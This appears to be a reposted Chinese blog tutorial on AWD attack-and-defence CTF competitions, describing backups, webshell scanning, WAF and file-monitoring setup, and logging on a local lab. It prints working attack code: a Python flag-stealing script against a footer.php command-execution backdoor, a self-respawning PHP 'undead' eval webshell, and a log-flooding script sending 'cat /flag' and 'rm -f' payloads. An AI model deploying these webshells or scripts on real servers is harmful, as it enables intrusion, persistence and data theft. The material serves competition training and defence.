Web AWD流程與技巧
AWD平臺搭建:https://blog.csdn.net/kukudeshuo/article/details/120799308
前期準備
檔案備份
這里是本地搭的環境,先將三個隊伍連接上去

可以看到,一般主辦方給的都是一個普通權限
查看網站目錄

現在需要做的事就是要將這些檔案進行備份,防止誤操作洗掉或者被別人攻擊后洗掉了檔案做準備
代碼審計
將網站目錄下載到本地,進行木馬掃描

這里我使用的河馬查殺,可以看到,這里有很多木馬,可以隨便打開一個木馬檔案查看其內容

可以看到,非常經典的一句話木馬,這些木馬一般是主辦方提前留下的,所以這些檔案一定要洗掉
使用工具進行代碼審計


可以看到在footer.php里面存在非常經典的代碼執行,我們也需要將他進行注釋或者洗掉,像這些主辦方提前留下的漏洞,因為所有隊伍的環境都是一樣的,所以一開始一定要將這些檔案進行洗掉,也可以利用這些漏洞去攻打其他隊伍進行得分,當然,這些都是利用工具進行的簡單審計,還需要配合人工進行審計,確保不會失分
弱密碼更改
這里就不用說了,像資料庫登入密碼什么密碼的都應該使用強密碼
部署WAF
一般AWD比賽都是不允許使用大型公司的WAF產品的,只能通過自己撰寫代碼去部署
首先將自己撰寫的WAF上傳到網站目錄下面

然后去資料庫組態檔包含該WAF檔案即可,因為一般網站的所有頁面都是要去連接資料庫的

部署檔案檢測設備
AWD比賽中,可能有人會問,如果把自己網站目錄檔案直接洗掉了,那別人不就攻不進來了,答案肯定是錯的,check服務器每隔幾分鐘都會檢測各個隊伍的檔案,如果檔案丟失,將會直接扣分,這也成了攻擊隊伍的一種方式,拿到對方隊伍服務器權限后,直接將對方檔案進行洗掉,導致對方隊伍扣分
將檔案檢測設備上傳到網站目錄下面

模擬攻擊隊伍洗掉已方隊伍網站檔案

可以看到,洗掉的檔案會自動復原
模擬攻擊隊伍向已方隊伍上傳惡意木馬

可以看到,惡意木馬檔案也會被自動洗掉,所以WAF設備和檔案檢測設備一定要早點部署,越早越好
部署日志檔案,分析攻擊者行為
上面部署WAF和檔案檢測設備只能解決攻擊者的檔案操作問題,所以需要去部署日志檔案去分析攻擊者的行為,做出相應的解決方案
將生成日志檔案上傳到網站目錄下

然后在網站檔案下包含該檔案

只要有攻擊者訪問該網站就會在tmp目錄下生成對應日志檔案,記錄攻擊者行為

這樣做就可以分析到有后門或無后門的攻擊行為資料包找到漏洞進行修復
分析到成功攻擊的資料包進行自我利用,用來攻擊其他隊伍
模擬攻擊者進行批量flag提交
前面說到AWD比賽主辦方一幫都會提前留下一些后門或者漏洞,這里使用footer.php里面的代碼執行漏洞進行批量flag提交

假如現在我是team1,攻擊team2和team3進行得分
現在的實時分數

可以看到現在都是四分
批量提交flagpython代碼
import requests
def get_flag():
data = {
'shell':'cat /flag'
}
for i in range(8802,8804):
url = 'http://192.168.109.128:'+str(i)+'/footer.php'
result=requests.post(url,data=data).content.decode('utf-8')
print(result)
with open(r'flag.txt','a+') as f:
f.write(result+'\n')
f.close()
def tijiao_flag():
for flag in open('flag.txt'):
flag=flag.replace('\n','')
url='http://192.168.109.128:8080/flag_file.php?token=team1&flag='+flag
requests.get(url)
if __name__ == '__main__':
get_flag()
tijiao_flag()
運行結果

查看運行后的實時分數變化

可以看到team1得了四分,team2和team3分別減了四分
不死馬介紹及解決方案
在攻擊利用后門獲取flag時,不死后門的權限維持尤為重要,同樣防守方也要掌握對其不死后門的查殺和利用,這樣才能獲取更高的分數,對比檔案監控前后問題
不死馬代碼
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'x.php';
$code = '<?php if(md5($_GET["pass"])=="588b0909be46df2e992915a156a4e848"){@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code);
usleep(5000);
}
?>
現在模擬攻擊者將不死馬傳到對方web服務器上

然后網頁上訪問該檔案

訪問后該檔案會自動洗掉,并且在網站目錄下就會生成x.php后門檔案


防守人員發現后第一反應肯定是去洗掉他,但是會發現他洗掉了之后又會繼續生成


可以看到跟之前生成時間不一樣
不死馬解決方案
1、ps auxww|grep shell.php找到pid后殺掉行程就可以,你刪掉腳本是起不了作用的,因為php執行的時候已經把腳本讀進去解釋成opcode運行了
2、重啟php等web服務
3、用一個ignore_user_abort(true)腳本,一直競爭寫入(斷斷續續),usleep要低于對方不死馬設定的值
4、創建一個和不死馬生成的馬一樣名字的檔案夾
這里以第三種方法為例
fuck.php代碼
<?php
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = 'x.php';
$code = 'fuck';
while (1){
file_put_contents($file,$code);
usleep(1000);
}
?>
這里usleep時間低于不死馬時間即可
瀏覽器訪問該檔案

可以看到現在生成的檔案就是個正常檔案了
攪屎棍發包回首掏共權限
作為各種技術大家都要用的情況下,一個好的攻擊漏洞和思路不被捕獲和發現,一個好的套路浪費對手的時間,攪屎棍發包回首掏共權限利用思路可以嘗試使用
攪屎棍就是向其他隊伍發送大量假的資料包,導致對方查看日志時看不過來
python代碼
import requests
import time
def scan_attack():
file={'shell.php','x.php','index.php','web.php','1.php'}
payload={'cat /flag','ls -al','rm -f','echo 1'}
while(1):
for i in range(8802, 8804):
for ii in file:
url='http://192.168.109.128:'+ str(i)+'/'+ii
for iii in payload:
data={
'payload':iii
}
try:
requests.post(url,data=data)
print("正在攪屎:"+str(i)+'|'+ii+'|'+iii)
time.sleep(0.5)
except Exception as e:
time.sleep(0.5)
pass
if __name__ == '__main__':
scan_attack()
運行結果

查看team2的日志檔案

可以看到里面都是一些垃圾資料,如果在里面有幾條真的攻擊資料,可能防守人員也反應不過來
漏洞資源-漏洞資料庫及腳本工具庫
比賽準備:如何收集并整理好漏洞,檔案資料,腳本工具等
漏洞庫:exploitdb,github監控最新資訊,平常自己收集整理
檔案資料:零組類似檔案離線版爬蟲,各類資料,平常自己收集整理
腳本工具:忍者系統配合自己常用工具,github監控awd腳本,收集整理
推薦網站
https://github.com/offensive-security/exploitdb
https://www.exploit-db.com/
涉及資源下載地址
鏈接:https://pan.baidu.com/s/1un3TcLgTQl9pZaYrZelkBw
提取碼:asdf
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/323337.html
標籤:其他
上一篇:BUU sql注入-[極客大挑戰 2019]LoveSQL
下一篇:CTF逆向總結(一)
